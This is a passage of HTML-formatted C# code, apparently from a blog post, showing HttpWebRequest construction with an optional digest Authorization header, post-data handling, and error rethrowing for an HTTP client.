<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="mso-ansi-language: en-us;" lang="EN-US">break</span><span style="mso-ansi-language: en-us;" lang="EN-US">; <span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-size: small; mso-ansi-language: en-us;" lang="EN-US"><span style="font-family: Consolas;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>}</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-size: small; mso-ansi-language: en-us;" lang="EN-US"><span style="font-family: Consolas;">&nbsp;</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-size: small; mso-ansi-language: en-us;" lang="EN-US"><span style="font-family: Consolas;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>}</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="mso-ansi-language: en-us;" lang="EN-US">catch</span><span style="mso-ansi-language: en-us;" lang="EN-US"> (</span><span style="mso-ansi-language: en-us;" lang="EN-US">WebException</span><span style="mso-ansi-language: en-us;" lang="EN-US"> ex)</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-size: small; mso-ansi-language: en-us;" lang="EN-US"><span style="font-family: Consolas;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>{</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="mso-ansi-language: en-us;" lang="EN-US">throw</span><span style="mso-ansi-language: en-us;" lang="EN-US"> ex;</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-size: small; mso-ansi-language: en-us;" lang="EN-US"><span style="font-family: Consolas;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>}</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-size: small; mso-ansi-language: en-us;" lang="EN-US"><span style="font-family: Consolas;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>}</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-size: small; mso-ansi-language: en-us;" lang="EN-US"><span style="font-family: Consolas;">&nbsp;</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="mso-ansi-language: en-us;" lang="EN-US">throw</span><span style="mso-ansi-language: en-us;" lang="EN-US">new</span><span style="mso-ansi-language: en-us;" lang="EN-US">Exception</span><span style="mso-ansi-language: en-us;" lang="EN-US">(</span><span style="mso-ansi-language: en-us;" lang="EN-US">"Error: Either authentication failed, authorization failed or the resource doesn't exist"</span><span style="mso-ansi-language: en-us;" lang="EN-US">);</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-size: small; mso-ansi-language: en-us;" lang="EN-US"><span style="font-family: Consolas;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>}</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-size: small; mso-ansi-language: en-us;" lang="EN-US"><span style="font-family: Consolas;">&nbsp;</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="mso-ansi-language: en-us;" lang="EN-US">private</span><span style="mso-ansi-language: en-us;" lang="EN-US">HttpWebRequest</span><span style="mso-ansi-language: en-us;" lang="EN-US"> CreateHttpWebRequestObject(</span><span style="mso-ansi-language: en-us;" lang="EN-US">Uri</span><span style="mso-ansi-language: en-us;" lang="EN-US"> uri, </span><span style="mso-ansi-language: en-us;" lang="EN-US">bool</span><span style="mso-ansi-language: en-us;" lang="EN-US"> addAuthenticationHeader)</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-size: small; mso-ansi-language: en-us;" lang="EN-US"><span style="font-family: Consolas;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>{</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="mso-ansi-language: en-us;" lang="EN-US">var</span><span style="mso-ansi-language: en-us;" lang="EN-US"> request = (</span><span style="mso-ansi-language: en-us;" lang="EN-US">HttpWebRequest</span><span style="mso-ansi-language: en-us;" lang="EN-US">)</span><span style="mso-ansi-language: en-us;" lang="EN-US">WebRequest</span><span style="mso-ansi-language: en-us;" lang="EN-US">.Create(uri);</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>request.AllowAutoRedirect = </span><span style="mso-ansi-language: en-us;" lang="EN-US">false</span><span style="mso-ansi-language: en-us;" lang="EN-US">;</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>request.Method = </span><span style="mso-ansi-language: en-us;" lang="EN-US">this</span><span style="mso-ansi-language: en-us;" lang="EN-US">.Method;</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-size: small; mso-ansi-language: en-us;" lang="EN-US"><span style="font-family: Consolas;">&nbsp;</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="mso-ansi-language: en-us;" lang="EN-US">if</span><span style="mso-ansi-language: en-us;" lang="EN-US"> (!</span><span style="mso-ansi-language: en-us;" lang="EN-US">String</span><span style="mso-ansi-language: en-us;" lang="EN-US">.IsNullOrEmpty(</span><span style="mso-ansi-language: en-us;" lang="EN-US">this</span><span style="mso-ansi-language: en-us;" lang="EN-US">.ContentType))</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-size: small; mso-ansi-language: en-us;" lang="EN-US"><span style="font-family: Consolas;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>{</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>request.ContentType = </span><span style="mso-ansi-language: en-us;" lang="EN-US">this</span><span style="mso-ansi-language: en-us;" lang="EN-US">.ContentType;</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-size: small; mso-ansi-language: en-us;" lang="EN-US"><span style="font-family: Consolas;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>}</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-size: small; mso-ansi-language: en-us;" lang="EN-US"><span style="font-family: Consolas;">&nbsp;</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp; </span><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="mso-ansi-language: en-us;" lang="EN-US">if</span><span style="mso-ansi-language: en-us;" lang="EN-US"> (addAuthenticationHeader)</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-size: small; mso-ansi-language: en-us;" lang="EN-US"><span style="font-family: Consolas;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>{</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>request.Headers.Add(</span><span style="mso-ansi-language: en-us;" lang="EN-US">"Authorization"</span><span style="mso-ansi-language: en-us;" lang="EN-US">, ComputeDigestHeader(uri));</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-size: small; mso-ansi-language: en-us;" lang="EN-US"><span style="font-family: Consolas;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>}</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-size: small; mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;"><span style="font-family: Consolas;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="mso-ansi-language: en-us;" lang="EN-US">if</span><span style="mso-ansi-language: en-us;" lang="EN-US"> (</span><span style="mso-ansi-language: en-us;" lang="EN-US">this</span><span style="mso-ansi-language: en-us;" lang="EN-US">.PostData != </span><span style="mso-ansi-language: en-us;" lang="EN-US">null</span><span style="mso-ansi-language: en-us;" lang="EN-US"> &amp;&amp; </span><span style="mso-ansi-language: en-us;" lang="EN-US">this</span><span style="mso-ansi-language: en-us;" lang="EN-US">.PostData.Length &gt; 0)</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-size: small; mso-ansi-language: en-us;" lang="EN-US"><span style="font-family: Consolas;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>{</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>request.ContentLength = </span><span style="mso-ansi-language: en-us;" lang="EN-US">this</span><span style="mso-ansi-language: en-us;" lang="EN-US">.PostData.Length;</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="mso-ansi-language: en-us;" lang="EN-US">Stream</span><span style="mso-ansi-language: en-us;" lang="EN-US"> postDataStream = request.GetRequestStream(); </span><span style="mso-ansi-language: en-us;" lang="EN-US">//open connection</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>postDataStream.Write(</span><span style="mso-ansi-language: en-us;" lang="EN-US">this</span><span style="mso-ansi-language: en-us;" lang="EN-US">.PostData, 0, </span><span style="mso-ansi-language: en-us;" lang="EN-US">this</span><span style="mso-ansi-language: en-us;" lang="EN-US">.PostData.Length); </span><span style="mso-ansi-language: en-us;" lang="EN-US">// Send the data.</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-size: small; mso-ansi-language: en-us;" lang="EN-US"><span style="font-family: Consolas;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp; </span>postDataStream.Close();</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-size: small; mso-ansi-language: en-us;" lang="EN-US"><span style="font-family: Consolas;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>}</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="mso-ansi-language: en-us;" lang="EN-US">else</span><span style="mso-ansi-language: en-us;" lang="EN-US">if</span><span style="mso-ansi-language: en-us;" lang="EN-US"> (</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="mso-ansi-language: en-us;" lang="EN-US">this</span><span style="mso-ansi-language: en-us;" lang="EN-US">.Method == </span><span style="mso-ansi-language: en-us;" lang="EN-US">WebRequestMethods</span><span style="mso-ansi-language: en-us;" lang="EN-US">.</span><span style="mso-ansi-language: en-us;" lang="EN-US">Http</span><span style="mso-ansi-language: en-us;" lang="EN-US">.Post &amp;&amp;</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>(</span><span style="mso-ansi-language: en-us;" lang="EN-US">this</span><span style="mso-ansi-language: en-us;" lang="EN-US">.PostData == </span><span style="mso-ansi-language: en-us;" lang="EN-US">null</span><span style="mso-ansi-language: en-us;" lang="EN-US"> || </span><span style="mso-ansi-language: en-us;" lang="EN-US">this</span><span style="mso-ansi-language: en-us;" lang="EN-US">.PostData.Length == 0))</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-size: small; mso-ansi-language: en-us;" lang="EN-US"><span style="font-family: Consolas;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>{</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-size: small; mso-ansi-language: en-us;" lang="EN-US"><span style="font-family: Consolas;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>request.ContentLength = 0;</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-size: small; mso-ansi-language: en-us;" lang="EN-US"><span style="font-family: Consolas;"><span style="mso-spacerun: yes;">&nbsp;&nbsp; </span><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>}</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-size: small; mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;"><span style="font-family: Consolas;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="mso-ansi-language: en-us;" lang="EN-US">return</span><span style="mso-ansi-language: en-us;" lang="EN-US"> request;</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-size: small; mso-ansi-language: en-us;" lang="EN-US"><span style="font-family: Consolas;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>}</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-size: small; mso-ansi-language: en-us;" lang="EN-US"><span style="font-family: Consolas;">&nbsp;</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="mso-ansi-language: en-us;" lang="EN-US">private</span><span style="mso-ansi-language: en-us;" lang="EN-US">HttpWebRequest</span><span style="mso-ansi-language: en-us;" lang="EN-US"> CreateHttpWebRequestObject(</span><span style="mso-ansi-language: en-us;" lang="EN-US">Uri</span><span style="mso-ansi-language: en-us;" lang="EN-US"> uri)</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-size: small; mso-ansi-language: en-us;" lang="EN-US"><span style="font-family: Consolas;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>{</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="mso-ansi-language: en-us;" lang="EN-US">return</span><span style="mso-ansi-language: en-us;" lang="EN-US"> CreateHttpWebRequestObject(uri, </span><span style="mso-ansi-language: en-us;" lang="EN-US">false</span><span style="mso-ansi-language: en-us;" lang="EN-US">);</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-size: small; mso-ansi-language: en-us;" lang="EN-US"><span style="font-family: Consolas;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>}</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-size: small; mso-ansi-language: en-us;" lang="EN-US"><span style="font-family: Consolas;">&nbsp;</span></span></p>
